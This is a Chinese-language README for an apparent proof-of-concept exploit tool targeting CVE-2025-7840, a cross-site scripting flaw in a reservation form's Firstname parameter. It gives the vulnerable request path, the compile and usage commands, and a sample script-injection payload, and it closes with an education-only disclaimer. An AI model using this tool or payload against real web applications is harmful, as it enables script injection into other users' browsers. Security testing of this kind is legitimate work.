CVE-2025-7840 XSS漏洞利用

作者: Byte Reaper (@ByteReaper0)

描述

针对CVE-2025-7840的概念验证漏洞利用，目标是一个存在漏洞的Web应用程序端点，该端点未能对预约表单的Firstname参数进行用户输入净化。通过构造以下GET请求：

1

/index.php?page=reserve&Firstname=<payload>&Lastname=test

攻击者可以在受害者浏览器渲染响应时注入并执行任意JavaScript代码。

功能特性

• 使用-b选项注入自定义payload
• 通过-c选项处理基于cookie的会话
• 详细日志记录用于请求/响应分析（-v）
• 内置一组常见的XSS payload

系统要求

• Linux或macOS
• GCC（或兼容的C编译器）
• libcurl开发头文件
• C语言的argparse库

安装

1. 编译漏洞利用工具：

   1	gcc -o exploit exploit.c argparse.c -lcurl

使用方法

1

sudo ./exploit -u <目标URL> [选项]

选项

示例

• 对目标运行默认payload：

  1	sudo ./exploit -u http://victim.local

• 使用自定义payload：

  1	sudo ./exploit -u http://victim.local -b "<script>alert(\'PWNED\')</script>"

• 包含会话cookie和详细输出：

  1	sudo ./exploit -u http://victim.local -c cookies.txt -v

免责声明

此代码仅用于教育和测试目的。未经授权对您不拥有或没有明确测试权限的系统使用是非法的且不道德的。

参考资料

• CVE-2025-7840：预约表单中的XSS漏洞
• 作者Telegram：@ByteReaper0

许可证

MIT